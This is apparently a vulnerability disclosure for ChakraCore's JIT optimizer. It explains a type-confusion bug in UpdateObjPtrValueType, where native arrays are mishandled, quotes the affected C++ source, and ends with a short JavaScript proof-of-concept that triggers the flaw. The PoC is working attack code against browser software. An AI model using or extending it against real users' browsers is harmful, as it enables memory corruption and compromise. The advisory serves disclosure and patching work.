1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
/* The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for a definite object, handling a native array as a definite object can lead to type confusion. void GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr) { ... if (newValueType == ValueType::Uninitialized) { switch (typeId) { default: if (typeId > Js::TypeIds_LastStaticType) { Assert(typeId != Js::TypeIds_Proxy); if (objValueType.IsLikelyArrayOrObjectWithArray()) { // If we have likely object with array before, we can't make it definite object with array // since we have only proved that it is an object. // Keep the likely array or object with array. } else { newValueType = ValueType::GetObject(ObjectType::Object); } } break; case Js::TypeIds_Array: // Because array can change type id, we can only make it definite if we are doing array check hoist // so that implicit call will be installed between the array checks. if (!DoArrayCheckHoist() || (currentBlock->loop ? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop) : !this->ImplicitCallFlagsAllowOpts(this->func))) { break; } if (objValueType.IsLikelyArrayOrObjectWithArray()) { // If we have likely no missing values before, keep the likely, because, we haven't proven that // the array really has no missing values if (!objValueType.HasNoMissingValues()) { newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId); } } else { newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId); } break; } } ... } PoC: */ function opt(arr, arr2) { arr[0] = 1.1; arr2.method(arr2[0] = {}); arr[0] = 2.3023e-320; } Object.prototype.method = () => {}; let arr = [1.1, 2.2]; for (let i = 0; i < 100; i++) { opt(arr, 1);// Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject opt(arr, arr.concat()); } setTimeout(() => { opt(arr, arr); alert(arr); }, 100);// Waiting for the JIT server to finish its job. |